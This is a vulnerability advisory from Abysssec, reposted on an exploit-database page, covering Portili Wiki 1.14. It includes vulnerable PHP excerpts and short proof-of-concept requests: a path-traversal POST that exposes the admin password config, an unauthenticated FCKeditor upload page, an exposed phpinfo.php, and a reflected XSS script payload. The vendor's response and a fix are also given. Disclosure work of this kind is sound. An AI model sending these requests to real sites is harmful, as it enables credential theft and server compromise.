Lucene search
K

Portili Personal and Team Wiki <= 1.14 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Portili Personal and Team Wiki 1.14 Multiple Vulnerabilities. Admin Password Disclosure exploit in ajaxfilemanager/ajax_save_name.php allows unauthorized access to any directory including the config directory, potentially leading to the download of the admin user/password. File Upload Vulnerability in Fckeditor can be exploited without any authentication

Code

                                                Abysssec Inc Public Advisory


Title  : Portili Personal and Team Wiki Multiple Remote Vulnerabilities
Affected Version : Portili Personal and Team Wik   &#60;= 1.14
Vendor  Site   : www.Portili.com

Discovery : www.Abysssec.com 

Vendor Contact  : 10/4/2009
Vendor Response : 11/4/2009

Vendor Response :


i have fixed all the vulnerabilities outlined and will release the fixes in the next version of the wiki.
The most troublesome vulnerabilities have come from the included ajaxfilemanager 3rd party image manager 
application (particularly in trying to integrate it with my own user authentication system). 
I&#39;m planning to completely overhaul this at some point.



Description : 

this vulnerabites founded for a internal penetration testing project but now we decide to send vulnerabites to vendor. 
so there is no point to keep these private anymore these vulnerabities are just for educational purpose and author will 
be not be responsible for any damage using this vulnerabiltes .


Vulnerabilites : 


1- Admin Password Disclosure Exploit in ajaxfilemanager/ajax_save_name.php

Vulnerability : 

there an intersting vulnerability in this code . 


line 16-23

elseif(empty($_POST[&#39;name&#39;]))
	{
		$error = ERR_RENAME_EMPTY;
	}elseif(!preg_match(&#34;/^[a-zA-Z0-9 _\-.]+$/&#34;, $_POST[&#39;name&#39;]))
	{
		$error = ERR_RENAME_FORMAT;
	}elseif(empty($_POST[&#39;original_path&#39;]) || !file_exists($_POST[&#39;original_path&#39;]))
	



=======================================

line 39-68

	//update record of session if image exists in session for cut or copy
		include_once(CLASS_SESSION_ACTION);
		$sessionAction = new SessionAction();		
		$selectedDocuments = $sessionAction-&#62;get();
		if(removeTrailingSlash($sessionAction-&#62;getFolder()) == getParentPath($_POST[&#39;original_path&#39;]) && sizeof($selectedDocuments))
		{
			if(($key = array_search(basename($_POST[&#39;original_path&#39;]), $selectedDocuments)) !== false)
			{
				$selectedDocuments[$key] = $_POST[&#39;name&#39;];
				$sessionAction-&#62;set($selectedDocuments);
				
			}
			
		}elseif(removeTrailingSlash($sessionAction-&#62;getFolder()) == removeTrailingSlash($_POST[&#39;original_path&#39;]))
		{
			$sessionAction-&#62;setFolder($_POST[&#39;original_path&#39;]);
		}	
		$path = addTrailingSlash(getParentPath($_POST[&#39;original_path&#39;])) . $_POST[&#39;name&#39;];
		if(is_file($path))
		{
			include_once(CLASS_FILE);
			$file = new file($path);
			$fileInfo = $file-&#62;getFileInfo();
		}else
		{
			include_once(CLASS_MANAGER);
			$manager = new manager($path, false);
			$fileInfo = $manager-&#62;getFolderInfo();
		}
	}

===============================================================================
there is two problem in code first is it won&#39;t check for logged user and next
is in the logic of this code . as you can see in code we can change any directory
even config directory so we can copy the config to uplods and then you can 
download the config file that contains user / pass of administrator .

PoC : http://vulnerable.com/ajaxfilemanager/ajax_save_name.php

POST: original_path=../application/config&name=uploads

now you can go and download the config .


Fast Solution : 

add this lines to first of ajax_save_name.php

        // ensure that only logged in users may access this script
	if (!file_exists(&#39;../authenticate_user.php&#39;)) { exit(&#34;couldn&#39;t locate the file authenticate_user.php&#34;); }	//exit if the user authentication script cannot be found
	require_once(&#39;../authenticate_user.php&#39;);	//exit if the user is not authenticated by the codeigniter application




2- File Upload Vulnerability /Fckeditor

Vulnerability : 

Using Fckeditor without any authentication will give ability to attacker to 
upload his / her own file and fckeditor won&#39;t check file extention
it will give ability to attacker upload a malicius server side ASP / ASPX / PHP  / JSP .
so this vulnerability can creation access to server / portal completely .


PoC : http://www.vulnerable.com/fckeditor/editor/filemanager/connectors/test.html


3- Information Leakage in /phpinfo.php

Vulnerability: 

there is phpinfo.php can leak information about path and installation of web / php and 
disabled / enabled functions as well as extentions and modules .

PoC : http://www.vulnerable.com/phpinfo.php


4- Cross Site Scripting in ajaxfilemanager/ajaxfilemanager.php


Vulnerability :

after you logged in into the admin panel with a valid password
there is a uncheked variable named view .

line 49-61

	if(!empty($_GET[&#39;view&#39;]))
	{
		switch($_GET[&#39;view&#39;])
		{
			case &#39;detail&#39;:
			case &#39;thumbnail&#39;:
				$view = $_GET[&#39;view&#39;];
				break;
			default:
				$view = CONFIG_DEFAULT_VIEW;
		}
	}else 
	{
		$view = CONFIG_DEFAULT_VIEW;
	}

PoC  : http://vulnerable.com/ajaxfilemanager/ajaxfilemanager.php?path=../uploads/&view=1&#60;script&#62;alert(&#34;abysssec&#34;)&#60;/script&#62;



feel free to contact me : admin [at] abysssec.com
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation